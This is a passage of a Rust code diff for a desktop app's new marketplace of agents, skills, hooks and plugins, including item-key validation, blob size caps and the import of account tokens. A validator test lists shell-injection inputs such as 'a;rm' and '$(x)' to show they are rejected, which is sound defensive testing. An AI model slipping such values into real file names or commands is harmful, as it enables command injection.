+        assert_eq!(t.read_file("agents", 10).unwrap(), None);
+    }
+
+    #[test]
+    fn mem_tree_entry_id_changes_only_with_content() {
+        let a = MemTree::new()
+            .file("skills/s/SKILL.md", "one")
+            .file("agents/x.md", "x");
+        let b = MemTree::new()
+            .file("skills/s/SKILL.md", "one")
+            .file("agents/x.md", "changed");
+        let c = MemTree::new()
+            .file("skills/s/SKILL.md", "two")
+            .file("agents/x.md", "x");
+        assert_eq!(
+            a.entry_id("skills/s").unwrap(),
+            b.entry_id("skills/s").unwrap()
+        );
+        assert_ne!(
+            a.entry_id("skills/s").unwrap(),
+            c.entry_id("skills/s").unwrap()
+        );
+        assert_eq!(a.entry_id("nope").unwrap(), None);
+    }
+
+    /// Review #9: the size comes from the object header, so a blob over the
+    /// cap is refused without its body ever being inflated. The fixture's
+    /// loose object is cut short after its header: reading the body would
+    /// fail, while the header still names the full size.
+    #[test]
+    fn git_tree_refuses_an_oversized_blob_from_its_header() {
+        use crate::marketplace::git::test_support::{git, git_available, init_repo};
+        if !git_available() {
+            return;
+        }
+        const CAP: u64 = 64 * 1024;
+        let dir = tempfile::tempdir().unwrap();
+        let big = "x".repeat(CAP as usize + 1);
+        let commit = init_repo(
+            dir.path(),
+            &[
+                ("agents/big.md", &big, false),
+                ("agents/small.md", "hi", false),
+            ],
+        );
+        let blob = git(dir.path(), &["rev-parse", "HEAD:agents/big.md"]);
+        let loose = dir
+            .path()
+            .join(".git/objects")
+            .join(&blob[..2])
+            .join(&blob[2..]);
+        let bytes = std::fs::read(&loose).unwrap();
+        let mut perms = std::fs::metadata(&loose).unwrap().permissions();
+        #[allow(clippy::permissions_set_readonly_false)]
+        perms.set_readonly(false); // git writes objects read-only
+        std::fs::set_permissions(&loose, perms).unwrap();
+        std::fs::write(&loose, &bytes[..40.min(bytes.len())]).unwrap();
+
+        let tree = GitTree::open(&dir.path().join(".git"), &commit).unwrap();
+        let err = String::from(tree.read_file("agents/big.md", CAP).unwrap_err());
+        assert!(err.contains("larger than 64 KiB"), "{err}");
+        // The body really is unreadable: under a cap it fits, the read fails
+        // for another reason — so the refusal above never inflated it.
+        let body = String::from(tree.read_file("agents/big.md", 2 * CAP).unwrap_err());
+        assert!(!body.contains("larger than"), "{body}");
+        assert_eq!(
+            tree.read_file("agents/small.md", CAP).unwrap().unwrap(),
+            b"hi"
+        );
+        assert_eq!(tree.read_file("agents/missing.md", CAP).unwrap(), None);
+    }
+
+    #[test]
+    fn trees_at_several_commits_share_one_open_repo() {
+        use crate::marketplace::git::test_support::{commit_files, git_available, init_repo};
+        if !git_available() {
+            return;
+        }
+        let dir = tempfile::tempdir().unwrap();
+        let c1 = init_repo(dir.path(), &[("a.md", "one", false)]);
+        let c2 = commit_files(dir.path(), &[("a.md", "two", false)], "second");
+        let before = repo_opens();
+        let repo = open_repo(&dir.path().join(".git")).unwrap();
+        let t1 = GitTree::at(repo.clone(), &c1).unwrap();
+        let t2 = GitTree::at(repo, &c2).unwrap();
+        assert_eq!(repo_opens() - before, 1);
+        assert_eq!(t1.read_file("a.md", 10).unwrap().unwrap(), b"one");
+        assert_eq!(t2.read_file("a.md", 10).unwrap().unwrap(), b"two");
+    }
+
+    #[test]
+    fn mem_tree_applies_the_same_cap() {
+        let t = MemTree::new().file("a.md", "12345");
+        assert_eq!(t.read_file("a.md", 5).unwrap().unwrap(), b"12345");
+        let err = String::from(t.read_file("a.md", 4).unwrap_err());
+        assert!(err.contains("a.md is larger than 4 bytes"), "{err}");
+    }
+}

app/src-tauri/src/models/app_settings.rs

@@ -1,6 +1,7 @@
 use serde::{Deserialize, Serialize};
 
 use super::gateway_settings::GatewaySettings;
+use super::marketplace::{Marketplace, MarketplaceAccount, MarketplaceInstall};
 use super::project::{ClaudeCodeSettings, EnvVar};
 
 fn default_true() -> bool {
@@ -135,6 +136,16 @@ pub struct AppSettings {
     pub gateway: GatewaySettings,
     #[serde(default)]
     pub global_claude_code_settings: Option<ClaudeCodeSettings>,
+    /// Sign-in accounts for private marketplace repos. Secrets live in the
+    /// OS keychain (`storage::secure::*_marketplace_token`), never here.
+    #[serde(default)]
+    pub marketplace_accounts: Vec<MarketplaceAccount>,
+    /// Marketplace git repos the user added.
+    #[serde(default)]
+    pub marketplaces: Vec<Marketplace>,
+    /// Items installed for every project (projects may opt out per item).
+    #[serde(default)]
+    pub global_marketplace_installs: Vec<MarketplaceInstall>,
     /// Whether the terminal loads `@xterm/addon-webgl`.
     ///
     /// `None` is "auto", and auto is not the same answer on every platform.
@@ -246,6 +257,9 @@ impl Default for AppSettings {
             stt: SttSettings::default(),
             gateway: GatewaySettings::default(),
             global_claude_code_settings: None,
+            marketplace_accounts: Vec::new(),
+            marketplaces: Vec::new(),
+            global_marketplace_installs: Vec::new(),
             terminal_gpu_rendering: None,
         }
     }

app/src-tauri/src/models/gateway_settings.rs

@@ -89,6 +89,12 @@ pub struct GatewayStatus {
     pub running: bool,
     pub port: u16,
     pub image_exists: bool,
+    /// The gateway container exists but runs something other than the pinned
+    /// image (e.g. after an app update moved the pin). If a pinned image is
+    /// present (`image_exists`), Stop and Start recreates it on that image;
+    /// otherwise the container keeps its current image until one is pulled or
+    /// built.
+    pub image_outdated: bool,
     /// Number of fully-specified models in the current settings.
     pub model_count: usize,
     /// Whether a provider API key is present in the keychain.

app/src-tauri/src/models/marketplace.rs

@@ -0,0 +1,406 @@
+//! Marketplace data model — see `docs/superpowers/specs/2026-09-27-marketplace-design.md`.
+//!
+//! Plain data plus the pure rules that decide what a project actually gets
+//! ([`effective_installs`]) and what names are allowed to reach a container
+//! path ([`is_valid_item_key`], [`marketplace_slug`]).
+
+use std::collections::BTreeMap;
+
+use serde::{Deserialize, Serialize};
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
+#[serde(rename_all = "snake_case")]
+pub enum ItemKind {
+    Agent,
+    Skill,
+    Command,
+    Hook,
+    Plugin,
+}
+
+impl ItemKind {
+    /// The lowercase name used in report strings (`"agent:code-reviewer"`) and the manifest.
+    pub fn as_str(&self) -> &'static str {
+        match self {
+            ItemKind::Agent => "agent",
+            ItemKind::Skill => "skill",
+            ItemKind::Command => "command",
+            ItemKind::Hook => "hook",
+            ItemKind::Plugin => "plugin",
+        }
+    }
+}
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(rename_all = "snake_case")]
+pub enum AccountMethod {
+    GhHost,
+    GhContainer,
+    Token,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+pub struct MarketplaceAccount {
+    pub id: String,
+    pub label: String,
+    pub host: String,
+    pub method: AccountMethod,
+    #[serde(default)]
+    pub username: Option<String>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+pub struct Marketplace {
+    pub id: String,
+    pub name: String,
+    pub url: String,
+    #[serde(default)]
+    pub branch: Option<String>,
+    #[serde(default)]
+    pub account_id: Option<String>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
+pub struct MarketplaceItemRef {
+    pub marketplace_id: String,
+    pub kind: ItemKind,
+    pub key: String,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+pub struct MarketplaceInstall {
+    pub marketplace_id: String,
+    pub kind: ItemKind,
+    pub key: String,
+    pub commit: String,
+}
+
+impl MarketplaceInstall {
+    pub fn item_ref(&self) -> MarketplaceItemRef {
+        MarketplaceItemRef {
+            marketplace_id: self.marketplace_id.clone(),
+            kind: self.kind,
+            key: self.key.clone(),
+        }
+    }
+}
+
+/// What a project's container actually gets: the global installs minus the
+/// ones this project opted out of, plus the project's own installs. When the
+/// project installs an item that is also global, the project's entry (and so
+/// its pin) wins. Sorted by item ref so the result is deterministic.
+pub fn effective_installs(
+    global: &[MarketplaceInstall],
+    disabled: &[MarketplaceItemRef],
+    project: &[MarketplaceInstall],
+) -> Vec<MarketplaceInstall> {
+    let mut out: BTreeMap<MarketplaceItemRef, MarketplaceInstall> = BTreeMap::new();
+    for install in global {
+        let item = install.item_ref();
+        if disabled.contains(&item) {
+            continue;
+        }
+        out.insert(item, install.clone());
+    }
+    for install in project {
+        out.insert(install.item_ref(), install.clone());
+    }
+    out.into_values().collect()
+}
+
+/// `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$` — the only names that may become a
+/// container path component. No `/`, no leading `.` or `-`, no shell
+/// metacharacters.
+pub fn is_valid_item_key(key: &str) -> bool {
+    let bytes = key.as_bytes();
+    if bytes.is_empty() || bytes.len() > 64 {
+        return false;
+    }
+    if !bytes[0].is_ascii_alphanumeric() {
+        return false;
+    }
+    bytes
+        .iter()
+        .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
+}
+
+/// A container-safe name for a marketplace (plugin marketplace
+/// `triple-c-<slug>`, plugin tree `plugins/<slug>/`): `mp-` and the first 8
+/// alphanumeric characters of its id, lowercased. It depends on the id only,
+/// never on the editable display name, so a rename cannot make a container
+/// see a different marketplace (final review M4). Containers synced with
+/// the earlier `<name>-<id8>` slugs move over on their next sync: the
+/// plugins are installed under the new name and the old copies uninstalled.
+pub fn marketplace_slug(id: &str) -> String {
+    let id_part: String = id
+        .chars()
+        .filter(|c| c.is_ascii_alphanumeric())
+        .map(|c| c.to_ascii_lowercase())
+        .take(8)
+        .collect();
+    if id_part.is_empty() {
+        "mp-marketplace".to_string()
+    } else {
+        format!("mp-{id_part}")
+    }
+}
+
+/// A full, lowercase, 40-character hex object id.
+pub fn is_valid_commit(commit: &str) -> bool {
+    commit.len() == 40
+        && commit
+            .bytes()
+            .all(|b| b.is_ascii_digit() || (b'a'..=b'f').contains(&b))
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+pub struct CatalogItem {
+    pub kind: ItemKind,
+    pub key: String,
+    pub name: String,
+    pub description: String,
+    /// Repo-relative path of the item (file or folder).
+    pub path: String,
+    /// `Some(reason)` when the item cannot be installed.
+    pub invalid: Option<String>,
+    /// Hooks only: rendered commands with `${HOOK_DIR}` substituted.
+    #[serde(default)]
+    pub hook_commands: Vec<String>,
+    /// Agents/commands/skills: the markdown body (≤ 64 KiB, truncated);
+    /// plugins: a component listing.
+    #[serde(default)]
+    pub preview: String,
+    /// Plugins only: what the plugin brings that runs or adds commands —
+    /// inline in its catalog entry and in its folder — shown before an
+    /// install is confirmed (PR review #4).
+    #[serde(default)]
+    pub plugin_components: Vec<PluginComponent>,
+}
+
+/// One part of a plugin that can run something: e.g. its catalog entry's
+/// `mcpServers`, or its folder's `hooks/hooks.json`.
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+pub struct PluginComponent {
+    /// Where it comes from, e.g. `"marketplace.json entry: mcpServers"`.
+    pub label: String,
+    /// Pretty-printed JSON, file text or a listing (≤ 64 KiB, truncated).
+    pub content: String,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
+pub struct MarketplaceSnapshot {
+    pub marketplace_id: String,
+    pub head_commit: Option<String>,
+    /// RFC 3339.
+    pub fetched_at: Option<String>,
+    pub fetch_error: Option<String>,
+    pub items: Vec<CatalogItem>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+pub struct ItemUpdate {
+    pub item: MarketplaceItemRef,
+    pub pinned: String,
+    pub head: String,
+    /// Why the item cannot be installed at `head` (invalid there, or gone),
+    /// so the update would be refused; `None` when it can be applied.
+    #[serde(default)]
+    pub invalid_at_head: Option<String>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(rename_all = "snake_case")]
+pub enum FileChange {
+    Added,
+    Removed,
+    Modified,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+pub struct FileDiff {
+    pub path: String,
+    pub change: FileChange,
+    /// Unified diff text; `None` when either side is binary.
+    pub unified: Option<String>,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
+pub struct SkippedItem {
+    pub item: String,
+    pub reason: String,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
+pub struct SyncReport {
+    #[serde(default)]
+    pub installed: Vec<String>,
+    #[serde(default)]
+    pub updated: Vec<String>,
+    #[serde(default)]
+    pub removed: Vec<String>,
+    #[serde(default)]
+    pub skipped: Vec<SkippedItem>,
+    #[serde(default)]
+    pub errors: Vec<String>,
+    /// RFC 3339, set by the host.
+    #[serde(default)]
+    pub finished_at: String,
+}
+
+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
+#[serde(tag = "type", rename_all = "snake_case")]
+pub enum InstallScope {
+    Global,
+    Project { project_id: String },
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize)]
+pub struct ProjectSyncResult {
+    pub project_id: String,
+    pub report: SyncReport,
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn install(market: &str, kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall {
+        MarketplaceInstall {
+            marketplace_id: market.to_string(),
+            kind,
+            key: key.to_string(),
+            commit: commit.to_string(),
+        }
+    }
+
+    #[test]
+    fn effective_set_is_global_minus_disabled_plus_project() {
+        let global = vec![
+            install("m1", ItemKind::Agent, "reviewer", "a"),
+            install("m1", ItemKind::Hook, "notify", "a"),
+        ];
+        let disabled = vec![MarketplaceItemRef {
+            marketplace_id: "m1".into(),
+            kind: ItemKind::Hook,
+            key: "notify".into(),
+        }];
+        let project = vec![install("m2", ItemKind::Skill, "tidy", "b")];
+
+        let got = effective_installs(&global, &disabled, &project);
+
+        assert_eq!(
+            got,
+            vec![
+                install("m1", ItemKind::Agent, "reviewer", "a"),
+                install("m2", ItemKind::Skill, "tidy", "b"),
+            ]
+        );
+    }
+
+    #[test]
+    fn project_pin_wins_over_global_pin() {
+        let global = vec![install("m1", ItemKind::Agent, "reviewer", "old")];
+        let project = vec![install("m1", ItemKind::Agent, "reviewer", "new")];
+        let got = effective_installs(&global, &[], &project);
+        assert_eq!(got, vec![install("m1", ItemKind::Agent, "reviewer", "new")]);
+    }
+
+    #[test]
+    fn same_key_different_kind_are_different_items() {
+        let global = vec![
+            install("m1", ItemKind::Agent, "x", "a"),
+            install("m1", ItemKind::Command, "x", "a"),
+        ];
+        assert_eq!(effective_installs(&global, &[], &[]).len(), 2);
+    }
+
+    #[test]
+    fn item_keys_follow_the_pattern() {
+        for ok in ["a", "code-reviewer", "A.b_c-9", &"x".repeat(64)] {
+            assert!(is_valid_item_key(ok), "{ok} should be valid");
+        }
+        for bad in [
+            "",
+            ".hidden",
+            "-flag",
+            "_x",
+            "a/b",
+            "a b",
+            "a;rm",
+            "$(x)",
+            "ä",
+            "..",
+            &"x".repeat(65),
+        ] {
+            assert!(!is_valid_item_key(bad), "{bad:?} should be invalid");
+        }
+    }
+
+    #[test]
+    fn slug_is_derived_from_the_id_only() {
+        assert_eq!(
+            marketplace_slug("7C9E6679-7425-40de-944b-e07fc1f90ae7"),
+            "mp-7c9e6679"
+        );
+        assert_eq!(marketplace_slug("1A2B-3C4D-ffff"), "mp-1a2b3c4d");
+        assert_eq!(marketplace_slug("ab"), "mp-ab");
+        assert_eq!(marketplace_slug("--"), "mp-marketplace");
+    }
+
+    #[test]
+    fn commits_must_be_full_lowercase_hex() {
+        assert!(is_valid_commit(&"a".repeat(40)));
+        assert!(!is_valid_commit(&"A".repeat(40)));
+        assert!(!is_valid_commit(&"a".repeat(39)));
+        assert!(!is_valid_commit("HEAD"));
+    }
+
+    #[test]
+    fn install_scope_serialises_tagged() {
+        assert_eq!(
+            serde_json::to_value(InstallScope::Global).unwrap(),
+            serde_json::json!({"type": "global"})
+        );
+        assert_eq!(
+            serde_json::to_value(InstallScope::Project {
+                project_id: "p".into()
+            })
+            .unwrap(),
+            serde_json::json!({"type": "project", "project_id": "p"})
+        );
+    }
+
+    #[test]
+    fn kinds_serialise_snake_case() {
+        assert_eq!(serde_json::to_value(ItemKind::Plugin).unwrap(), "plugin");
+        assert_eq!(
+            serde_json::to_value(AccountMethod::GhHost).unwrap(),
+            "gh_host"
+        );
+    }
+
+    #[test]
+    fn settings_and_projects_saved_before_the_marketplace_still_load() {
+        let mut settings = serde_json::to_value(crate::models::AppSettings::default()).unwrap();
+        for key in [
+            "marketplace_accounts",
+            "marketplaces",
+            "global_marketplace_installs",
+        ] {
+            settings.as_object_mut().unwrap().remove(key);
+        }
+        let settings: crate::models::AppSettings = serde_json::from_value(settings).unwrap();
+        assert!(settings.marketplace_accounts.is_empty());
+        assert!(settings.marketplaces.is_empty());
+        assert!(settings.global_marketplace_installs.is_empty());
+
+        let mut project =
+            serde_json::to_value(crate::models::Project::new("p".to_string(), Vec::new())).unwrap();
+        for key in ["marketplace_installs", "marketplace_disabled"] {
+            project.as_object_mut().unwrap().remove(key);
+        }
+        let project: crate::models::Project = serde_json::from_value(project).unwrap();
+        assert!(project.marketplace_installs.is_empty());
+        assert!(project.marketplace_disabled.is_empty());
+    }
+}

app/src-tauri/src/models/mod.rs

@@ -1,6 +1,7 @@
 pub mod app_settings;
 pub mod container_config;
 pub mod gateway_settings;
+pub mod marketplace;
 pub mod migration;
 pub mod note;
 pub mod project;

app/src-tauri/src/models/project.rs

@@ -166,6 +166,9 @@ pub enum PermissionMode {
     Default,
     /// Auto-accept file edits, prompt for everything else.
     AcceptEdits,
+    /// Claude Code's classifier approves safe actions and blocks risky ones,
+    /// without prompting.
+    Auto,
     /// Skip all permission prompts.
     Bypass,
 }
@@ -180,6 +183,7 @@ impl PermissionMode {
             PermissionMode::AcceptEdits => {
                 vec!["--permission-mode".to_string(), "acceptEdits".to_string()]
             }
+            PermissionMode::Auto => vec!["--permission-mode".to_string(), "auto".to_string()],
             PermissionMode::Bypass => vec!["--dangerously-skip-permissions".to_string()],
         }
     }
@@ -191,6 +195,7 @@ impl PermissionMode {
             PermissionMode::Plan => "plan",
             PermissionMode::Default => "default",
             PermissionMode::AcceptEdits => "acceptEdits",
+            PermissionMode::Auto => "auto",
             PermissionMode::Bypass => "bypass",
         }
     }
@@ -441,6 +446,12 @@ pub struct Project {
     /// User-defined display names for terminal tabs, keyed by session id.
     #[serde(default)]
     pub renamed_session_names: HashMap<String, String>,
+    /// Marketplace items installed for this project only (spec §2).
+    #[serde(default)]
+    pub marketplace_installs: Vec<super::marketplace::MarketplaceInstall>,
+    /// Global marketplace installs this project opts out of.
+    #[serde(default)]
+    pub marketplace_disabled: Vec<super::marketplace::MarketplaceItemRef>,
     pub created_at: String,
     pub updated_at: String,
 }
@@ -688,6 +699,8 @@ impl Project {
             claude_instructions: None,
             claude_code_settings: None,
             renamed_session_names: HashMap::new(),
+            marketplace_installs: Vec::new(),
+            marketplace_disabled: Vec::new(),
             created_at: now.clone(),
             updated_at: now,
         }
@@ -784,7 +797,10 @@ mod tests {
     }
 
     fn env(key: &str, value: &str) -> EnvVar {
-        EnvVar { key: key.to_string(), value: value.to_string() }
+        EnvVar {
+            key: key.to_string(),
+            value: value.to_string(),
+        }
     }
 
     #[test]
@@ -882,7 +898,10 @@ mod tests {
         // `merge_claude_code_settings` spells it. `main` resolved this with
         // `if p.env_scrub { true } else { g.env_scrub }`, i.e. the global won —
         // and it has to go on winning, because the user never turned this off.
-        let global = ClaudeCodeSettings { env_scrub: Some(true), ..Default::default() };
+        let global = ClaudeCodeSettings {
+            env_scrub: Some(true),
+            ..Default::default()
+        };
         assert_eq!(
             stored.env_scrub.or(global.env_scrub),
             Some(true),
@@ -897,7 +916,10 @@ mod tests {
         let json = r#"{ "env_scrub": false }"#;
         let chosen: ClaudeCodeSettings = serde_json::from_str(json).unwrap();
         assert_eq!(chosen.env_scrub, Some(false));
-        let global = ClaudeCodeSettings { env_scrub: Some(true), ..Default::default() };
+        let global = ClaudeCodeSettings {
+            env_scrub: Some(true),
+            ..Default::default()
+        };
         assert_eq!(chosen.env_scrub.or(global.env_scrub), Some(false));
     }
 
@@ -911,7 +933,10 @@ mod tests {
         assert_eq!(json, "{}");
         assert!(!json.contains("null"));
 
-        let partial = ClaudeCodeSettings { env_scrub: Some(false), ..Default::default() };
+        let partial = ClaudeCodeSettings {
+            env_scrub: Some(false),
+            ..Default::default()
+        };
         let json = serde_json::to_string(&partial).unwrap();
         assert_eq!(json, r#"{"env_scrub":false}"#);
         // And it reads back as what it is.
@@ -979,7 +1004,10 @@ mod tests {
         });
         let migrated = Project::migrate_from_value(legacy);
         let obj = migrated.as_object().unwrap();
-        assert!(obj.contains_key("paths"), "the migration should still do its own job");
+        assert!(
+            obj.contains_key("paths"),
+            "the migration should still do its own job"
+        );
         assert!(!obj.contains_key("auth_bridge_enabled"));
         assert!(!obj.contains_key("browser_view_enabled"));
     }

app/src-tauri/src/models/settings_export.rs

@@ -25,6 +25,8 @@
 //! "only overwrite what the import actually has" treatment as the other
 //! three secrets.
 
+use std::collections::BTreeMap;
+
 use serde::{Deserialize, Serialize};
 
 use super::{AppSettings, ImageSource};
@@ -56,6 +58,12 @@ pub struct ExportedSecrets {
     /// export wholesale.
     #[serde(default)]
     pub web_terminal_access_token: Option<String>,
+    /// Marketplace account tokens (`Token` and `GhContainer` accounts; a
+    /// `GhHost` account stores none), keyed by account id. They live in the
+    /// keychain, not in `AppSettings::marketplace_accounts`, so they travel
+    /// here or an imported account could never fetch.
+    #[serde(default)]
+    pub marketplace_account_tokens: BTreeMap<String, String>,
 }
 
 impl ExportedSecrets {
@@ -65,6 +73,7 @@ impl ExportedSecrets {
             && blank(&self.gateway_api_key)
             && blank(&self.gateway_master_key)
             && blank(&self.web_terminal_access_token)
+            && self.marketplace_account_tokens.values().all(|v| v.trim().is_empty())
     }
 }
 
@@ -147,6 +156,21 @@ pub struct SettingsImportPreview {
     pub image_source: ImageSource,
     #[serde(default)]
     pub custom_image_name: Option<String>,
+    /// Marketplaces the import configures.
+    #[serde(default)]
+    pub marketplace_count: usize,
+    /// Hooks the import installs for every project. A hook runs commands in
+    /// each project container, and an imported install skips the confirm
+    /// step an install from the Marketplace tab shows, so the preview warns.
+    #[serde(default)]
+    pub global_hook_install_count: usize,
+    /// Plugins the import installs for every project. A plugin can bring
+    /// its own hooks and MCP servers, and skips the same confirm step.
+    #[serde(default)]
+    pub global_plugin_install_count: usize,
+    /// Non-blank marketplace account tokens the import restores.
+    #[serde(default)]
+    pub marketplace_account_token_count: usize,
 }
 
 /// A cap on how much of a decrypted, not-yet-trusted string gets echoed back
@@ -197,6 +221,25 @@ impl SettingsImportPreview {
             gateway_api_base: sanitized_non_blank(&payload.settings.gateway.api_base),
             image_source: payload.settings.image_source.clone(),
             custom_image_name: sanitized_non_blank(&payload.settings.custom_image_name),
+            marketplace_count: payload.settings.marketplaces.len(),
+            global_hook_install_count: payload
+                .settings
+                .global_marketplace_installs
+                .iter()
+                .filter(|i| i.kind == crate::models::marketplace::ItemKind::Hook)
+                .count(),
+            global_plugin_install_count: payload
+                .settings
+                .global_marketplace_installs
+                .iter()
+                .filter(|i| i.kind == crate::models::marketplace::ItemKind::Plugin)
+                .count(),
+            marketplace_account_token_count: payload
+                .secrets
+                .marketplace_account_tokens
+                .values()
+                .filter(|v| !v.trim().is_empty())
+                .count(),
         }
     }
 }
@@ -236,6 +279,7 @@ mod tests {
             gateway_api_key: Some("sk-another-secret".to_string()),
             gateway_master_key: Some("sk-triple-c-yet-another".to_string()),
             web_terminal_access_token: Some("wt-super-secret-token".to_string()),
+            ..Default::default()
         });
         let preview = SettingsImportPreview::from_payload(&payload);
         let serialized = serde_json::to_string(&preview).unwrap();
@@ -260,6 +304,7 @@ mod tests {
             gateway_api_key: None,
             gateway_master_key: None,
             web_terminal_access_token: Some("   ".to_string()),
+            ..Default::default()
         });
         let preview = SettingsImportPreview::from_payload(&payload);
         assert!(!preview.has_claude_oauth_token);
@@ -363,4 +408,73 @@ mod tests {
             shown.chars().count()
         );
     }
+
+    #[test]
+    fn marketplaces_global_hooks_and_account_tokens_are_disclosed_without_the_tokens() {
+        use crate::models::marketplace::{ItemKind, Marketplace, MarketplaceInstall};
+        let mut payload = payload_with(ExportedSecrets {
+            marketplace_account_tokens: std::collections::BTreeMap::from([
+                ("a1".to_string(), "test-token-not-real-1".to_string()),
+                ("a2".to_string(), "   ".to_string()),
+            ]),
+            ..Default::default()
+        });
+        payload.settings.marketplaces.push(Marketplace {
+            id: "m1".into(),
+            name: "Team".into(),
+            url: "https://example.invalid/r.git".into(),
+            branch: None,
+            account_id: None,
+        });
+        let install = |kind, key: &str| MarketplaceInstall {
+            marketplace_id: "m1".into(),
+            kind,
+            key: key.into(),
+            commit: "a".repeat(40),
+        };
+        payload.settings.global_marketplace_installs = vec![
+            install(ItemKind::Hook, "fmt"),
+            install(ItemKind::Agent, "rev"),
+            install(ItemKind::Hook, "lint"),
+        ];
+
+        let preview = SettingsImportPreview::from_payload(&payload);
+        assert_eq!(preview.marketplace_count, 1);
+        assert_eq!(preview.global_hook_install_count, 2);
+        assert_eq!(preview.marketplace_account_token_count, 1, "a blank token is absent");
+        assert!(!serde_json::to_string(&preview).unwrap().contains("test-token-not-real"));
+    }
+
+    #[test]
+    fn a_bundle_holding_only_a_marketplace_token_is_not_empty() {
+        let secrets = ExportedSecrets {
+            marketplace_account_tokens: std::collections::BTreeMap::from([(
+                "a1".to_string(),
+                "test-token-not-real".to_string(),
+            )]),
+            ..Default::default()
+        };
+        assert!(!secrets.is_empty());
+    }
+
+    #[test]
+    fn global_plugin_installs_are_counted_apart_from_hooks() {
+        use crate::models::marketplace::{ItemKind, MarketplaceInstall};
+        let mut payload = payload_with(ExportedSecrets::default());
+        let install = |kind, key: &str| MarketplaceInstall {
+            marketplace_id: "m1".into(),
+            kind,
+            key: key.into(),
+            commit: "a".repeat(40),
+        };
+        payload.settings.global_marketplace_installs = vec![
+            install(ItemKind::Plugin, "p1"),
+            install(ItemKind::Hook, "h1"),
+            install(ItemKind::Plugin, "p2"),
+            install(ItemKind::Skill, "s1"),
+        ];
+        let preview = SettingsImportPreview::from_payload(&payload);
+        assert_eq!(preview.global_plugin_install_count, 2);
+        assert_eq!(preview.global_hook_install_count, 1);
+    }
 }

app/src-tauri/src/storage/projects_store.rs

@@ -1,9 +1,42 @@
 use std::fs;
 use std::path::{Path, PathBuf};
+use std::sync::atomic::{AtomicU64, Ordering};
 use std::sync::Mutex;
 
+use crate::models::marketplace::{MarketplaceInstall, MarketplaceItemRef};
 use crate::models::Project;
 
+/// Proof that, at some revision of the store, a project was `Running` on a
+/// given container. See [`ProjectsStore::running_on`].
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct RunningSighting {
+    revision: u64,
+}
+
+/// What [`ProjectsStore::mark_exited`] did.
+#[derive(Debug)]
+pub enum ExitMark {
+    /// Flipped to `Stopped`; the updated record.
+    Flipped(Box<Project>),
+    /// The store changed since the sighting while a project is still Running
+    /// on that container — the caller's Docker check may be stale. Re-check.
+    Changed,
+    /// No project is Running on that container, or a command owns it.
+    NotApplicable,
+}
+
+/// The one rule for "this project is Running on that container". Both ids
+/// must be at least a short id long: a blank or truncated value is a prefix
+/// of everything and would match every container on the daemon.
+fn is_running_on(p: &Project, container_id: &str) -> bool {
+    p.status == crate::models::ProjectStatus::Running
+        && container_id.len() >= 12
+        && p.container_id
+            .as_deref()
+            .filter(|stored| stored.len() >= 12)
+            .is_some_and(|stored| stored.starts_with(container_id) || container_id.starts_with(stored))
+}
+
 /// The sticky marker for `projects.json`: `projects.json.corrupt`, beside it.
 ///
 /// Derived from the file rather than from `dirs::data_dir()` so the marker
@@ -63,6 +96,8 @@ fn record_corrupt_load(file_path: &Path, now: &chrono::DateTime<chrono::Utc>) {
 pub struct ProjectsStore {
     projects: Mutex<Vec<Project>>,
     file_path: PathBuf,
+    /// Bumped by every `save()`; see [`ProjectsStore::mark_exited`].
+    revision: AtomicU64,
 }
 
 impl ProjectsStore {
@@ -146,6 +181,7 @@ impl ProjectsStore {
         let store = Self {
             projects: Mutex::new(projects),
             file_path,
+            revision: AtomicU64::new(0),
         };
 
         // Persist migrated/reconciled format back to disk
@@ -160,11 +196,21 @@ impl ProjectsStore {
         Ok(store)
     }
 
+    /// A store over a file the test owns (`new()` insists on the real data dir).
+    #[cfg(test)]
+    pub(crate) fn over_file_for_test(file_path: PathBuf, projects: Vec<Project>) -> Self {
+        Self { projects: Mutex::new(projects), file_path, revision: AtomicU64::new(0) }
+    }
+
     fn lock(&self) -> std::sync::MutexGuard<'_, Vec<Project>> {
         self.projects.lock().unwrap_or_else(|e| e.into_inner())
     }
 
     fn save(&self, projects: &[Project]) -> Result<(), String> {
+        // Every mutation saves with the lock held, so this counts every change
+        // to the in-memory list — bumped first, because a failed write has
+        // still changed what the list holds.
+        self.revision.fetch_add(1, Ordering::SeqCst);
         let data = serde_json::to_string_pretty(projects)
             .map_err(|e| format!("Failed to serialize projects: {}", e))?;
 
@@ -204,6 +250,27 @@ impl ProjectsStore {
         }
     }
 
+    /// Replace a project with `updated`, after `restore` has copied onto it
+    /// the fields the store owns from the record *as stored under the lock*.
+    /// `update_project` restores from a copy it read earlier, so an install
+    /// or a status change landing in between would otherwise be written over
+    /// (re-review round 2).
+    pub fn update_restoring(
+        &self,
+        mut updated: Project,
+        restore: impl FnOnce(&mut Project, &Project),
+    ) -> Result<Project, String> {
+        let mut projects = self.lock();
+        let p = projects
+            .iter_mut()
+            .find(|p| p.id == updated.id)
+            .ok_or_else(|| format!("Project {} not found", updated.id))?;
+        restore(&mut updated, p);
+        *p = updated.clone();
+        self.save(&projects)?;
+        Ok(updated)
